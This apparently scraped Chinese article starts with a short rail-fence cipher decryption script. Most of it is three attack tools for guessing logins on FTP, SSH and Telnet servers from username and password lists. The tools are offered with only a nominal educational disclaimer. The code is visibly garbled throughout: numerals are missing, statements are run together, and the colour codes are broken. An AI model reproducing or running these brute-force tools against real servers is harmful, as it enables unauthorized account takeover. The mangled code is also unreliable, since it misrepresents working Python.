视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
Python脚本暴力破解栅栏密码
2020-11-27 14:41:59 责编:小采
文档


今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。

方法一(通用脚本):

#!/usr/bin/env python
 # -*- coding: gbk -*-
 # -*- coding: utf_ -*-
 e = raw_input(‘请输入要解密的字符串\n‘)
 elen = len(e)
 field=[]
 for i in range(,elen):
 if(elen%i==):
 field.append(i)
 for f in field:
 b = elen / f
 result = {x:‘‘ for x in range(b)}
 for i in range(elen):
 a = i % b;
 result.update({a:result[a] + e[i]})
 d = ‘‘
 for i in range(b):
 d = d + result[i]
 print ‘分为\t‘+str(f)+‘\t‘+‘栏时,解密
结果为: ‘+d

方法二:

FTP暴力破解脚本

#!/usr/bin/env python
#-*-coding = utf--*-
#author:@xfk
#blog:@blog.sina.com.cn/kaiyongdeng
#date:@--
import sys, os, time
from ftplib import FTP
docs = """
 [*] This was written for educational purpose and pentest only. Use it at your own risk. 
 [*] Author will be not responsible for any damage!
 [*] Toolname : ftp_bf.py
 [*] Coder :
 [*] Version : .
 [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
 """
if sys.platform == 'linux' or sys.platform == 'linux':
 clearing = 'clear'
else:
 clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
 print G+"\n |---------------------------------------------------------------|"
 print " | |"
 print " | blog.sina.com.cn/kaiyongdeng |"
 print " | // ftp_bf.py v.. |"
 print " | FTP Brute Forcing Tool |"
 print " | |"
 print " |---------------------------------------------------------------|\n"
 print " \n [-] %s\n" % time.strftime("%X")
 print docs+END
def help():
 print R+"[*]-t, --target ip/hostname <> Our target"
 print "[*]-u, --usernamelist usernamelist <> usernamelist path"
 print "[*]-p, --passwordlist passwordlist <> passwordlist path"
 print "[*]-h, --help help <> print this help"
 print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()
def bf_login(hostname,username,password):
 # sys.stdout.write("\r[!]Checking : %s " % (p))
 # sys.stdout.flush()
 try:
 ftp = FTP(hostname)
 ftp.login(hostname,username, password)
 ftp.retrlines('list')
 ftp.quit()
 print Y+"\n[!] wt,wt!!! We did it ! "
 print "[+] Target : ",hostname, ""
 print "[+] User : ",username, ""
 print "[+] Password : ",password, ""+END
 return 
 # sys.exit()
 except Exception, e:
 pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
 sys.exit()
def anon_login(hostname):
 try:
 print G+"\n[!] Checking for anonymous login.\n"+END
 ftp = FTP(hostname) ftp.login()
 ftp.retrlines('LIST')
 print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END
 ftp.quit()
 except Exception, e:
 print R+"\n[-] Anonymous login failed...\n"+END
 pass
def main():
 logo()
 try:
 for arg in sys.argv:
 if arg.lower() == '-t' or arg.lower() == '--target':
 hostname = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-u' or arg.lower() == '--usernamelist':
 usernamelist = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-p' or arg.lower() == '--passwordlist':
 passwordlist = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-h' or arg.lower() == '--help':
 help()
 elif len(sys.argv) <= :
 help()
 except:
 print R+"[-]Cheak your parametars input\n"+END
 help()
 print G+"[!] BruteForcing target ..."+END
 anon_login(hostname)
 # print "here is ok"
 # print hostname
 try:
 usernames = open(usernamelist, "r")
 user = usernames.readlines()
 count = 
 while count < len(user):
 user[count] = user[count].strip()
 count +=
 except:
 print R+"\n[-] Cheak your usernamelist path\n"+END
 sys.exit()
 # print "here is ok ",usernamelist,passwordlist
 try:
 passwords = open(passwordlist, "r")
 pwd = passwords.readlines()
 count = 
 while count < len(pwd):
 pwd[count] = pwd[count].strip()
 count +=
 except:
 print R+"\n[-] Check your passwordlist path\n"+END
 sys.exit()
 print G+"\n[+] Loaded:",len(user),"usernames"
 print "\n[+] Loaded:",len(pwd),"passwords"
 print "[+] Target:",hostname
 print "[+] Guessing...\n"+END
 for u in user: for p in pwd:
 result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))
 if result != :
 print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END
 else:
 print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END
 if not result :
 print R+"\n[-]There is no username ans password enabled in the list."
 print "[-]Exiting...\n"+END
if __name__ == "__main__":
 main()

SSH暴力破解

#!/usr/bin/env python
#-*-coding = UTF--*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng
import sys
import os
import time
#from threading import Thread
try:
 from paramiko import SSHClient
 from paramiko import AutoAddPolicy
except ImportError:
 print G+'''
 You need paramiko module.
http://www.lag.net/paramiko/
 Debian/Ubuntu: sudo apt-get install aptitude
 : sudo aptitude install python-paramiko\n'''+END
 sys.exit()
docs = """
 [*] This was written for educational purpose and pentest only. Use it at your own risk.
 [*] Author will be not responsible for any damage! 
 [*] Toolname : ssh_bf.py
 [*] Author : xfk
 [*] Version : v..
 [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
 """
if sys.platform == 'linux' or sys.platform == 'linux':
 clearing = 'clear'
else: 
 clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
 print G+"\n |---------------------------------------------------------------|"
 print " | |"
 print " | blog.sina.com.cn/kaiyongdeng |"
 print " | // ssh_bf.py v.. |"
 print " | SSH Brute Forcing Tool |"
 print " | |"
 print " |---------------------------------------------------------------|\n"
 print " \n [-] %s\n" % time.ctime()
 print docs+END
def help():
 print Y+" [*]-H --hostname/ip <>the target hostname or ip address"
 print " [*]-P --port <>the ssh service port(default is )"
 print " [*]-U --usernamelist <>usernames list file"
 print " [*]-P --passwordlist <>passwords list file"
 print " [*]-H --help <>show help information"
 print " [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
 sys.exit()
def BruteForce(hostname,port,username,password):
 '''
 Create SSH connection to target
 '''
 ssh = SSHClient()
 ssh.set_missing_host_key_policy(AutoAddPolicy())
 try:
 ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
 status = 'ok'
 ssh.close()
 except Exception, e:
 status = 'error'
 pass
 return status
def makelist(file):
 '''
 Make usernames and passwords lists
 '''
 items = []
 try:
 fd = open(file, 'r')
 except IOError:
 print R+'unable to read file \'%s\'' % file+END
 pass
 except Exception, e:
 print R+'unknown error'+END
 pass
 for line in fd.readlines():
 item = line.replace('\n', '').replace('\r', '')
 items.append(item)
 fd.close() 
 return items
def main():
 logo() 
# print "hello wold"
 try: 
 for arg in sys.argv:
 if arg.lower() == '-t' or arg.lower() == '--target':
 hostname = str(sys.argv[int(sys.argv[:].index(arg))+])
 if arg.lower() == '-p' or arg.lower() == '--port':
 port = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-u' or arg.lower() == '--userlist':
 userlist = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
 wordlist = sys.argv[int(sys.argv[:].index(arg))+]
 elif arg.lower() == '-h' or arg.lower() == '--help':
 help()
 elif len(sys.argv) <= :
 help()
 except:
 print R+"[-]Cheak your parametars input\n"+END
 help()
 print G+"\n[!] BruteForcing target ...\n"+END
# print "here is ok"
# print hostname,port,wordlist,userlist
 usernamelist = makelist(userlist)
 passwordlist = makelist(wordlist)
 print Y+"[*] SSH Brute Force Praparing."
 print "[*] %s user(s) loaded." % str(len(usernamelist))
 print "[*] %s password(s) loaded." % str(len(passwordlist))
 print "[*] Brute Force Is Starting......."+END
 try:
 for username in usernamelist:
 for password in passwordlist:
 print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
 current = BruteForce(hostname, port, username, password)
 if current == 'error':
 print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END
# pass
 else:
 print G+"\n[+] ^-^ HaHa,We Got It!!!"
 print "[+] username: %s" % username
 print "[+] password: %s\n" % password+END
# sys.exit()
 except:
 print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
 print "[-] Exitting.....\n"+END
 raise
 print Y+"[+] Done.^-^\n"+END
 sys.exit()
if __name__ == "__main__":
 main()

TELNET密码暴力破解

#!usr/bin/python
#Telnet Brute Forcer
#http://www.darkcde.com
#dhydr[at]gmail[dot]com
import threading, time, random, sys, telnetlib
from copy import copy
if len(sys.argv) !=:
 print "Usage: ./telnetbrute.py  "
 sys.exit()
try:
 users = open(sys.argv[], "r").readlines()
except(IOError):
 print "Error: Check your userlist path\n"
 sys.exit()
try:
 words = open(sys.argv[], "r").readlines()
except(IOError):
 print "Error: Check your wordlist path\n"
 sys.exit()
print "\n\t dhydr[at]gmail[dot]com TelnetBruteForcer v."
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"
wordlist = copy(words)
def reloader():
 for word in wordlist:
 words.append(word)
def getword():
 lock = threading.Lock()
 lock.acquire()
 if len(words) != :
 value = random.sample(words, )
 words.remove(value[])
 else:
 print "\nReloading Wordlist - Changing User\n"
 reloader()
 value = random.sample(words, )
 users.remove(users[])
 lock.release()
 if len(users) ==:
 return value[][:-], users[]
 else:
 return value[][:-], users[][:-]
class Worker(threading.Thread):
 def run(self):
 value, user = getword()
 try:
 print "-"*
 print "User:",user,"Password:",value
 tn = telnetlib.Telnet(sys.argv[])
 tn.read_until("login: ")
 tn.write(user + "\n")
 if password:
 tn.read_until("Password: ")
 tn.write(value + "\n")
 tn.write("ls\n")
 tn.write("exit\n")
 print tn.read_all()
 print "\t\nLogin successful:",value, user
 tn.close()
 work.join()
 sys.exit()
 except:
 pass
for I in range(len(words)*len(users)):
 work = Worker()
 work.start()
 time.sleep()

下载本文
显示全文
专题